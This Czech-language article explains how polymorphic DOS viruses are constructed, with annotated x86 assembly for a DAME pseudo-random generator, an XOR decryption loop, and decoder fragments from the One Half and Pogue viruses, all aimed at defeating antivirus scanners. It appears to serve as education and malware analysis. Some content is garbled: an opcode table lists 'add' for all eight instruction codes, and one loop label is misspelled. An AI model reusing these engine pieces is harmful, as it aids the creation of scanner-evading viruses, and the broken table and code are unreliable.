Konstrukce polymorfních virů


Polymorfní viry jsou bezesporu nejpřitažlivější skupinou virů. Kód, který je schopen pokaždé jiným způsobem vygenerovat své tělo, již podvědomě budí zvědavost a nabízí myšlenkovou paralelu s viry biologickými. I polymorfní virus je však stále pouhým programem, který pracuje tak, jak byl programátorem sestaven.
Jádrem polymorfních virů je algoritmus kódovacího a dekódovacího mechanismu. Existují dva základní druhy kódovacích mechanismů:

  • Reverzibilní algoritmus
    Kóder i dekóder je integrován do jednoho mechanismu, použitelného pro oba účely. Reverzibilita bývá často nejčastěji dosažena pomocí logické operace xor. Reverzibilní algoritmus je výhradně používán viry semi-polymorfními, jejichž kódování je velice primitivní a stojí na hierarchickém stupni vývoje pod viry plně polymorfními.

  • Nereverzibilní algoritmus
    Nereverzibilní mechanismus má separátně oddělený kodér i dekodéř. Kódování je tvořeno zejména postupným a pokaždé jiným skládáním výpočtu, které neumožňuje identické použití pro dekódování.
    Oba druhy kódovacích mechanismů bývají v těle viru prokládány nevýznamnými instrukcemi, které slouží zejména pro znesnadnění detekce viru antivirovými programy, ale také i pro případné zajištění proměnné délky viru.
    Nezbytnou součástí polymorfních virů je generátor pseudonáhodných čísel, který je viry využíván pro náhodný výběr použití registrů, mechanismu kódování apod. Generování pseudonáhodných čísel bývá různé, od přímého použití hodnot aktuálního času až po rekurentní výpočty, používající systémový časovač.
    V reálném světě se polymorfní viry vyskytují téměř výhradně v podobě virů souborových. Bootovací podoba polymorfních virů je velice vzácná (např. virus Zaraza), což je dáno zejména tím, že bootovací viry mají pro své maskování dostatek příležitosti při zavádění operačního systému, kdy mohou využívat přímé stealth techniky.

    Princip implementace polymorfismu

    Virový polymorfismus je založen na dvou základních principech instrukčního souboru mikroprocesorů řady INTEL, používaných v počítačích PC. Všechny instrukce procesoru mají definovanou masku s parametrickým bitovým polem, které upřesňuje pracovní operandy. Polymorfní viry využívají právě tuto podobnost, jež jim zaručuje právě stejná maska pro instrukce podobného významu.

  • Přímá podobnost instrukcí
    Přímá podobnost využívá sousednosti instrukcí v instrukčním souboru. Např. hexadecimální hodnotou b8 začíná sekce instrukcí naplňující 16bitový registr přímým operandem:

    b8h ... mov ax, "primy operand"
    b9h ... mov cx, "primy operand"
    bah ... mov dx, "primy operand"
    bbh ... mov bx, "primy operand"
    bch ... mov sp, "primy operand"
    bdh ... mov bp, "primy operand"
    beh ... mov si, "primy operand"
    bfh ... mov di, "primy operand"
     
    Tuto podobnost využívá např. virus One Half (podrobněji viz dále) pro výběr dekódovacího registru. Prostý součet hodnoty b8h a hodnoty náhodného čísla v rozsahu 0 až 7 generuje příslušný registr. Kód bch bývá viry zapovězen, neboť ukazatel na zásobník je z pochopitelných důvodů tabu.
    Často využívanou je podobnost push a pop instrukcí:

    50h ... push ax      58h ... pop ax
    51h ... push cx      59h ... pop cx
    52h ... push dx      5ah ... pop dx
    53h ... push bx      5bh ... pop bx
    54h ... push sp      5ch ... pop sp
    55h ... push bp      5dh ... pop bp
    56h ... push si      5eh ... pop si
    57h ... push di      5fh ... pop di
     
  • Podobnost skupiny instrukcí
    V tomto případě se jedná o vícebajtové instrukce, kdy první bajt specifikuje skupinu instrukcí (aritmetické operace, operace posuvu a rotací apod.) a až druhý bajt určuje samotný kód instrukce. Druhý bajt instrukce má definovaný bitový tvar XXYYYZZZ, kde první dva bity XX udávají mód, prostřední tři bity YYY představují požadovanou instrukci a poslední tři bity ZZZ specifikují operand (registr či pamět). Pro polymorfismus jsou důležité zejména bity YYY aritmetických operací, jejichž kombinace představují tyto instrukce:

    000 ... add
    001 ... add
    010 ... add
    011 ... add
    100 ... add
    101 ... add
    110 ... add
    111 ... add
     
    Vymaskování, resp. nastavení bitů YYY na hodnotu náhodného čísla z intervalu 0 až 7 opět generuje příslušnou instrukci.

    Generátor pseudonáhodných čísel


    Systémový čas, resp. čítač cyklů časovače 8253 patří k základním způsobům, jak mohou polymorfně zaměřené viry získat "náhodnou" číselnou hodnotu. Časovač taktuje každých 55 ms a jeho hodnota je viry zpřístupňována zejména přes port 40h. Další možností je ekvivalentní přímé čtení z proměnné BIOSu na adrese 0:046c.
    Strukturou generátoru charakterizuje ukázka vybraná ze zdrojového tvaru DAME (Dark Angel`s Multiple Engine) algoritmu. Obecná podoba generátoru bývá tvořena dvěma stěžejními částmi: počáteční pseudonáhodnou inicializační rutinou a rekurentním vzorcem pro vlastní výpočet pseudonáhodného čísla.

    Inicializace generátoru pseudonáhodných čísel.
    init_rnd:
         	push dx		; uschova registru
    	push cx
    	push bx
    	mov ah, 2ch	; sluzba "Cti systemovy cas"
    	int 21h		; Obsazeni registru po provedeni sluzby:
    			; CH ... hodiny (0 az 23)
    			; CL ... minuty (0 az 59)
    			; DH ... sekundy (0 az 59)
    			; DL ... setiny sekund (0 az 99)
     
    Pro některé viry je generátor pseudonáhodných čísel tvořen pouze tímto voláním. Virus Brain např. používá pro kódování xor-konstantu pouze hodnotu registru dl. Z rozsahu setin sekund je zřejmé, že virus může vygenerovat sto různě kódovaných tvarů virového těla.
    in    al, 40h		; nacteni casovace
    mov   ah, al
    in    al, 40h		; nacteni casovace
    xor   ax, cx		; rozsireni na cely rozsah cisla integer
    xor   dx, ax            ;
    jmp   short rnd_done    ; skok na konec generatoru
    
    Výpočet pseudonáhodného čísla.
    get_rnd:
    	push dx         ; uschova registru
    	push cx
    	push bx
    	in   al, 40h	; nacteni casovace
    	db   05h	; add ax, hodnota patch1
    patch1	     dw 0	; prvni rekurentni konstanta
    	db 0bah		; mov dx, hodnota patch2
    patch2	     dw 0	; druha rekurentni konstanta
    	mov  cx, 7	; sedmipruchodova
    rnd_loop:		; smycka
    	shl  ax, 1	; pro
    	rcl  dx, 1	; vypocet
    	mov  bl, al	; pseudonahodneho
    	xor  bl, dh	; cisla
    	jns  lbl	;
    	inc  al		;
    lbl:
    	loop rnd_loop
    rnd_done:		; ukonceni generovani
    	mov  patch1, ax	; naplneni
    	mov  patch2, dx ; rekurentnich konstant
    	mov  al, dl     ; "doladeni" vysledku
    	pop  bx		; obnova registru
    	pop  cx
    	pop  dx
    	retn 		; pseudonahodne cislo je v registru AX
     
    V těle polymorfní části viru je pak generátor volán instrukcemi "call init_rnd" pro počáteční nastartování generátoru a "call get_rnd" pro získání pseudonáhodného čísla. Získané pseudonáhodné číslo je pak pro potřebu daného maximálního rozsahu 0 až MAX ořezáno instrukcí "and ax, MAX", resp. "and al, MAX".

    Semi-polymorfní reverzibilní algoritmus


    Značné množství virů využívá primitivní semi-polymorfní techniku kódování prostřednictvím logické operace xor, která umožnuje zakódovat a odkódovat daný údaj pomocí stejného klíče.
    Uveďme příklad. Nechť jsou dány hexadecimální hodnoty kódovaného bajtu "ff" a (de)kódovacího klíče "a1". Pak platí:
    ff   xor   a1   =   5e   ... kódování
    5e   xor   a1   =   ff   ... dekódování
     
    Jak je vidět, po dvojí aplikaci stejného kódovacího klíče obdržíme výchozí bajt. U těchto virů můžeme nejčastěji nalézt tuto typickou posloupnost instrukcí, plnící funkci dekódovací rutiny:
    	mov  bx, adresa pocatku zakodovaneho tela
    	mov  dl, (od)kodovaci xor-konstanta
    	mov  cx, delka zakodovaneho tela v bajtech
    vlasti_smycka:
    	xor  cs:[bx], dl	; vlastni odkodovani
    	inc  bx			; posun na dalsi zakodovany bajt
    	loop vlastni_smycka
     
    Samozřejmě, může se lišit použití některých registrů či lze případně dekódovat místo bajtů slova, ale princip vždy zůstává tentýž. Uvedená metoda je navíc velice výhodná z důvodu univerzálnosti této rutiny jak pro kódování tak i pro dekódování.
    Kódovací konstanta je pseudonáhodná, její možnosti byly naznačeny v předchozí kapitole.
    Možnosti této metody jsou silně omezené. Maximální možností, jak ztížit detekovatelnost antivirovými scannery, je prokládání kódu nevýznamnými instrukcemi. Ve své podstatě statická dekódovací smyčka umožňuje vyhledávat tyto viry jednoduše pomocí identifikačních virových řetezců.
    Na rozdíl od plně polymorfních virů je semi-polymorfismus hojně využíván i bootovacími viry.

    Polymorfní reverzibilní algoritmus


    I pro plně polymorfní viry je z programátorského hlediska pro dosažení reverzibility algoritmu nejsnažší, a v podstatě i jedinou, možností použití logické operace xor. Virus One Half je u nás jedním z nejznámějších představitelů této skupiny. Úvodní dekódovací smyčka je složená návěští, jež každé má následující strukturu:
    Výkonná instrukce.
    Náhodný počet nevýznamných instrukcí před nebo za výkonnou instrukcí.
    Instrukce skouku na další návěští.

    I pořadí jednotlivých návěští, jež jsou umisťována do těla infikovaného programu (!) generuje One Half náhodně, což úplně znemožňuje jeho detekci pomocí běžných antivirových scannerů. Nevýznamnými instrukcemi jsou instrukce "nop", "stc","clc","sti","cs:","ss:","ds:","cld","std","cmc". Tyto instrukce nemají vliv na vlastní běh dekodéru, slouží pouze ke zmatení scanneru. Instrukce skoku jsou generovány buď typu "jmp návěští" nebo "jmp short návěští".
    start:				; puvodni program (virovy lapac)
    	jmp  go
    	db   1536 dup (0)	; velikostni vypln (1536=600h)
    go:
    	int 20h
     
    Infikovaný program, tvořený v našem případě pouze velikostní výplní, je návěštími dekodéru tvrdě přepsán. Přepsané části jsou uschovány v zakódovaném těle viru a před pozdějším předáním řízení infikovanému programu virus zajišťuje jejich obnovu, takže uživatel za běžných okolností nic nepozná. Tento postup navíc vyřazuje z činnosti odvirovací programy pracující na principu univerzálního cleanu. Léčba takto zavirovaných programů bývá realizována zejména jednoúčelovými programy.
    start:			; zavirovany tvar
    	jmp lbl_5	; skok na vstupni navesti dekoderu
     

    	db  542 dup (0)	; cast zavirovaneho programu
     

    lbl_1:			; vlastni dekodovani
    	ss:
    	xor [si], di	; xor [indexovaci registr], dekodovaci registr
    	nop
     	jmp lbl_4
     

    	db  18 dup (0)	; cast zavirovaneho programu
     

    lbl_2:			; otestovani priznaku ukonceni dekodovani
    	jnz lbl_1	; jne lbl_1 nebo jnz lbl_1
    	stc
    	cs:
    	std
    	jmp virus_entry	; ukonceni dekodovani
     

     	db  47 dup (0)	; cast zavirovaneho programu
     

    lbl_3:
    	pop ds		; pouze moznost pop ds
    	nop
    	jmp lbl_10
     

    	db  71 dup (0)	; cast zavirovaneho programu
     

    lbl_4:			; akutualizace dekodovaci konstanty
    	add di, 2eefh	; add dekodovaci registr, konstanta
    	jmp short lbl_6
     

    	db  38 dup (0)	; cast zavirovaneho programu
     

    lbl_5:
    	push ax		; pouze moznost push ax
    	stc
    	cld
    	jmp lbl_9
     

     	db  33 dup (0)	; cast zavirovaneho programu
     

    lbl_6:			; posun na dalsi zakodovane slovo
    	ds:
    	stc
    	cs:
    	inc si		; inc indexovaci registr
    	jmp short lbl_7
     

    	db  9 dup (0)	; cast infikovaneho programu
     

    lbl_7:			; test, je-li vse dekodovano
    	cmp si, 14ddh	; cmp indexovaci registr,
    			; offset pocatek_zakodovaneho_viru + delka viru
    	jmp lbl_2
     

    	db 142 dup (0) 	; cast infikovaneho programu
     

    lbl_8:			; uvodni naplneni dekodovaciho registru
    	mov di, 0ce3bh	; vyber dekodovaciho registru ax, bx, cx, dx, bp, si, di
    			; s ohledem na kolizi s indexovacim registrem
    			; a jeho naplneni pocatecni dekodovaci konstantou
    	cld
    	sti
    	cld
    	jmp lbl_1
     

    	db  50 dup (0) 	; cast infikovaneho programu
     

    lbl_9:
    	cld
    	cmc
    	push ss		; push cs nebo push ss
    	clc
    	jmp lbl_3
     

    	db  354 dup (0) ; cast infikovaneho programu
     

    lbl_10:			; nastaveni pocatecniho mista pro dekodovani
    	mov si, 705h	; vyber indexovaciho registru bx, si, di
    			; a jeho naplneni hodnotou offset pocatek_zakodovaneho_viru
    	jmp lbl_8
     

    	db 164 dup (0)	; cast infikovaneho programu
     
    Velikostní součet db-výplní infikovaného programu činí 1468 bajtů, zbylých 68 bajtů je délka samotného dekodéru.
    go:
    	int 20h		; zbytek infikovaneho programu
     
    pocatek_zakodovaneho_viru:
    	Zakodovane telo viru One Half
     
    Plně polymorfní mechanismus, na rozdíl od semi-polymorfních předchůdců, zcela odsouvá do role statisty antivirové scannery pracující na principu virových identifikačních řetezců. Klíčem k detekci polymorfních virů je heuristická metoda analýzy kódu programu.
    Příklad souboru před zavirováním...
    ...a po zavirování virem OneHalf.3544. Všimněte si deseti krátkých programků, které jsou náhodně rozneseny před samotným virem. Tyto prográmky jsou navzájem propojeny skoky, a dohromady tvoří dekódovací rutinu. Na zmatení antivirů jsou tyto krátké prográmky plné nic nedělajících instrukcí jako: nop, stc, clc, sti, cs:, ss:, ds:, cld, std, cmc.

    Polymorfní nereverzibilní algoritmus


    Podstatou nereverzibilních virových mechanismů je postupné skládání kódu, resp. plnění hodnot příslušných registrů prováděním dílčích instrukcí. Velice trefným přirovnáním jsou populární puzzle. Např. realizovat instrukci "add ax, 2" je možné nepřeberným množstvím variant kombinací instrukcí "inc","add","dec" a "sub":
    inc  ax		inc ax		add ax,4
    inc  ax		add ax, 1	sub ax,2
     
    Stejně tak i plnící instrukci "mov ax, 606h" lze realizovat zamlžujícím postupem:
    mov ax, 202h	; AX=202h
    mov bx, 101h	; BX=101h
    add ax, bx	; AX=303h
    shl ax, 1	; nasobeni dvema => AX=606h
     
    Obdobným způsobem mohou nereverzibilně zaměřené viry modifikovat použití skokových instrukcí prostřednictvím skoků přes pomocná návěští, příp. instrukci cyklu "loop" mohou nahradit posloupností instrukcí "dec cx" a "jnz navesti_smycky" apod. Dá se říci, že možnosti jsou omezeny pouze fantazií a schopnostmi virových pisatelů.
    Nereverzibilní mechanismy poskytují i pružnější prostředky pro možnost generování proměnné délky viru, než je tomu v případě algoritmů reverzibilních.
    Typickým příkladem je nereverzibilní MtE mechanismus viru Pogue, infikující programy typu COM:
    start:
    	dec bp		; priznak zavirovaneho souboru
    	jmp dekoder
    	... infikovany program ...
     
    dekoder:
    	mov bp, 0a16ch	; bp=a16c
    	mov cl, 3
    	ror bp, cl	; bp=942d
    	mov cx, bp
    	mov bp, 856eh	; bp=856e
    	or  bp, 740fh	; bp=f56f
    	mov si, bp
    	mov bp, 3b92h	; bp=3b92
    	add bp, si	; bp=3101
    	xor bp, cx	; bp=a52c
    	sub bp, 0b10ch	; bp=f420
     
    Uvodní část dekodéru pouze maskuje významově jedinou instrukci "mov bp, 0f420h". Tato hodnota slouží v následující smyčce k bázové části adresy zakódovaného těla viru.
    smycka:
    	mov bx, [bp + 0d23h]	; poprve - mov bx, [0143]
    	add bx, 9d64h		; vlastni dekodovani
    	xchg [bp + 0d23h], bx	; a opetovne ulozeni zpracovaneho slova
     
    Virus refinovaně využívá přetečení výsledku součtu hodnot bp a 0d23h; nastavení příznaku CF je v tomto případě nepodstatné.
    	mov bx, 8f31h
    	sub bx, bp		; 9b11
    	mov bp, 8f33h
    	sub bp, bx		; bp=f422 (tj. add bp,2)
    	jnz smycka
     
    Instrukce posunu algoritmu na další zakódované slovo ("add bp, 2") je opět zamaskována. Počáteční bázová hodnota f420h není náhodná, ale je vybrána s ohledem na požadovaný počet 1520 iterací, což odpovídá, vzhledem ke slovním operacím, velikosti 3040 B zakódované části viru. Hodnota je dána výrazem (64 kB - f420 + 1) / 2 = 1520.
    	mov bx, bp
    	mov cl, 3
    	ror bx, cl
     
    Závěrečná část dekodéru je složena z nevýznamných instrukcí, pomocí nichž virus dosahuje proměnné délky svého těla. Je zajímavé sledovat, že nevýznamnými instrukce nejsou pouze jednobajtové instrukce typu "nop" či "cmc", ale podstatně komplikovanější konstrukce.
    segment:0143
    	... zakodovana cast tela viru Pogue ...
     

    Zdroj: Computer Press, ???